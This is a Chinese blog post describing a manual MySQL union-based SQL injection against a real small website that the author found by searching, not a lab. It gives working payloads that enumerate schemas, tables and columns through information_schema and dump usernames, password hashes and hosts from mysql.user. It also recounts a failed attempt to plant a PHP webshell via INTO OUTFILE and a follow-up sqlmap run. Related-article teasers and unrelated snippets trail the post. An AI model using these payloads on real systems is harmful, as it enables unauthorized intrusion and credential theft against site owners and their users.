记一次MySQL手工注入
本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎)
小站没有上WAF,用1=1、1=2就可以检测注入点,就不放截图了。
然后order by 、联合查询什么的也都是基本操作。。直接进入最关键的手工爆表好了。(已知第二列和第三列有回显,MySQL version是5.6,所以直接从information_schema中就可以方便的查询)
1、爆其他数据库;
查询语句为:xxx?id=-4 union select 1,SCHEMA_NAME,3,4,5,6,7,8 FROM information_schema.schemata
页面返回为:

2、爆其他表(数据库选择刚才爆出的mysql)
查询语句为:xxx?id=-4 union select 1,TABLE_NAME,3,4,5,6,7,8 FROM information_schema.tables WHERE TABLE_SCHEMA=0x6d7973716c
这里的0x6d7973716c是mysql的十六进制表示,如果直接写mysql字符串的话数据库是不能解析的,所以要传递16进制形式的数据库名

这里有很多表,我们只需关注user表就可以,其实其他的表也会存放一些敏感数据,比如该网站的注册会员的登录信息等等,但我们目标是服务器。
3、爆字段
查询语句为:xxx?id=-4 union select 1,COLUMN_NAME,3,4,5,6,7,8 FROM information_schema.columns WHERE TABLE_NAME=0x75736572
同理,0x75736572是user表的十六进制表示。

这里我们可能关心的是以上三列的数据,user、password、host,让我们进行最后的爆数据吧!
4、爆数据
查询语句为:xxx?id=-4 union select 1,concat_ws(0x2c,User,Password,Host),3,4,5,6,7,8 FROM mysql.user
由于我要查询的有三列数据,所以这里我用了concat_ws函数进行拼接后输出,0x2c是逗号

done,手工测试到此完成,可以说是非常非常普通的正规思路了,没有一点绕过的地方直接搞就行了。
其实这里我尝试用into outfile写php的一句话木马,但是发现没有成功,编码也不行,一直报mysql_fetch_array(): supplied argument is not a valid MySQL result resource的错误。
查了一些资料,使用mysql直接写入木马的必要条件有三:
1、root权限(排除)
2、知道网站根目录的地址(排除,从随便一个报错信息中都可以爆出物理绝对路径)
3、magic_quotes_gpc()=OFF(有可能)
4、没有write权限(有可能)
用sqlmap跑下试试,看来的确如此

大概就这些吧。
#########################
谁能告诉我为什么发布以后布局这么丑,蛋疼
记一次MySQL手工注入的更多相关文章
- MYSQL手工注入(详细步骤)—— 待补充
0x00 SQL注入的分类: (1)基于从服务器接收到的响应 ▲基于错误的 SQL 注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL 盲注 ...
- MySQL手工注入学习-1
MySQL手工注入学习 SQLi-labs 手工注入学习 以下是通过SLQi-labs平台的部分简单例题的手工注入过程 Less-1:union联合查询注入 页面提示:Please input the ...
- 手工注入——MySQL手工注入实战和分析
今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...
- MySQL手工注入进阶篇——突破过滤危险字符问题
当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题.下面是我的实战过程.这里使用的是墨者学院的在线靶场.咱们直接开始. 第一步,判断注入点. 通过测试发 ...
- MYSQL手工注入某日本网站
作者:ice 团队:www.anying.org 转载必须注明. E-mail:1c30day@gmail.com 经过一天的辛苦劳动下班了,实在无聊,QQ上的基友基本都挂机睡觉了.找点乐子打发时 ...
- mysql手工注入
以下是mynona本人原创的,奉献给大家,不要小看数据库注入 参考: http://www.daydaydata.com/help/sql/advance/limit.html http://www. ...
- mysql手工注入总结
mysql -u 用户名 -p 密码 -h IP地址 show databases; 查看数据库 select version(); php注入的版本号 use database(表名): sho ...
- mysql手工注入步骤
1.一般用 ' " ) 等符号来闭合,再用%23(即#)来注释后面语句. 2.查找数据库,先用order by n猜字段,再用union select 1,2,3 ...n%23来查询. ...
- [MYSQL手工注入](3)基于报错的SQL注入实战
0x03 MYSQL 手工注入实战--基于错误的 SQL 注入 今天如愿以偿的找到了基于错误的SQL注入环境了:是一个国外卖音响的小网站,还在建设中: 看一下报错信息: (1)确定闭合语句:从上面的报 ...
随机推荐
- 写给初学者的话---linux使用说明
2018年noip上海赛区可以使用window操作系统的美梦终究还是破灭了!!!!上海大部分noip选手都陆陆续续开始改linux........好吧,那我们今天来看看linux操作系统中,noip选 ...
- Android四层架构
Andrid系统的体系结构设计为多层结构,这种结构在给用户提供安全保护的同时还保持了开放平台的灵活性.如下图所示: Google官方提供的Android系统的四层架构图 从上到下进行简单介绍: 一 ...
- Python+Selenium定位元素的方法
Python+Selenium有以下八种定位元素的方法: 1. find_element_by_id() eg: find_element_by_id("kw") 2. find_ ...
- scala 中格式化字符常用的格式符
val name="Fred" val age=20 val weight=150.00 val dd="%s's age is %d,weighs %.2f" ...
- Json化数据-调微信接口
// 先获取用户openid列表 List<String> openids = wxPhotoUpload.getUserOpenIdList(access_token); TreeMap ...
- python3初探
官方网站:https://www.python.org/ 类库大全:https://pypi.python.org/pypi 基础类库:https://docs.python.org/3/libr ...
- spring 3.0 @ResponseBody注解返回中文问号乱码解决办法
前几天给公司做项目,很久没接触java项目的我,遇到了一个问题,就是我在利用异步到控制器中查询,然后返回jaon字符串到前台,字符串中包含中文,于是我直接用了@ResponseBody注解,来返回到前 ...
- WCF入门教程通信(二)
一.概述 WCF能够建立一个跨平台的安全.可信赖.事务性的解决方案,是一个WebService,.Net Remoting,Enterprise Service,WSE,MSMQ的并集,有一副很经典的 ...
- 微信小程序参考资料及网址
微信小程序 https://mp.weixin.qq.com/debug/wxadoc/dev/api/ http://www.w3cschool.cn/weixinapp/ 微信小程序 开发工具 h ...
- linux下快速安装python3.xx
安装python3之前的准备工作: 当前环境是centos操作系统[已经安装了gcc++],在安装前需要安装zlib-devel包: yum install zlib-devel yum instal ...